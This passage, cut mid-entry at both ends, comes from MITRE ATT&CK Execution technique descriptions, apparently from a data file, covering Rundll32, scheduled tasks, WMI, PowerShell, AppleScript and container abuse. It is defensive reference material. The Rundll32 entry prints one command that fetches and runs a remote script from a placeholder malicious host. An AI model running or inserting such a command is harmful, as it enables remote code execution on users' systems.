SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)\nT1085 | Rundll32 | The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\nT1072 | Software Deployment Tools | Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).\n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.\nT1064 | Scripting | **This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)\nT1061 | Graphical User Interface | **This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.\nT1059 | Command and Scripting Interpreter | Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)\nT1053 | Scheduled Task/Job | Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)\nT1047 | Windows Management Instrumentation | Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)\nT1035 | Service Execution | Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.\nT1028 | Windows Remote Management | Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)" + "source": "# Execution\nThe adversary is trying to run malicious code.\n\nExecution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery. \n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1053.005 | Scheduled Task | Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) \nT1047 | Windows Management Instrumentation | Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)\nT1129 | Shared Modules | Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.\n\nThe Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)\n\nThe Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)\nT1059.007 | JavaScript | Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\nT1053.007 | Container Orchestration Job | Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)\nT1559.002 | Dynamic Data Exchange | Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\nT1204.002 | Malicious File | An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\nT1053.003 | Cron | Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). \nT1559.001 | Component Object Model | Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\nT1053 | Scheduled Task/Job | Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)\nT1059.002 | AppleScript | Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0NSAppleScript\u00a0or\u00a0OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)\nT1106 | Native API | Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001).\nT1059.009 | Cloud API | Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006). \n\nCloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.\n\nWith proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment. \nT1610 | Deploy Container | Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)\nT1059 | Command and Scripting Interpreter | Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)\nT1609 | Container Administration Command | Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)\nT1569.001 | Launchctl | Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n\nT1059.008 | Network Device CLI | Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)\nT1559.003 | XPC Services | Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).\nT1204 | User Execution | An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)\nT1072 | Software Deployment Tools | Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.). \n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. Network infrastructure may also have administration tools that can be similarly abused by adversaries. (Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.\nT1059.001 | PowerShell | Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)\nT1053.006 | Systemd Timers | Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)\nT1059.004 | Unix Shell | Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific 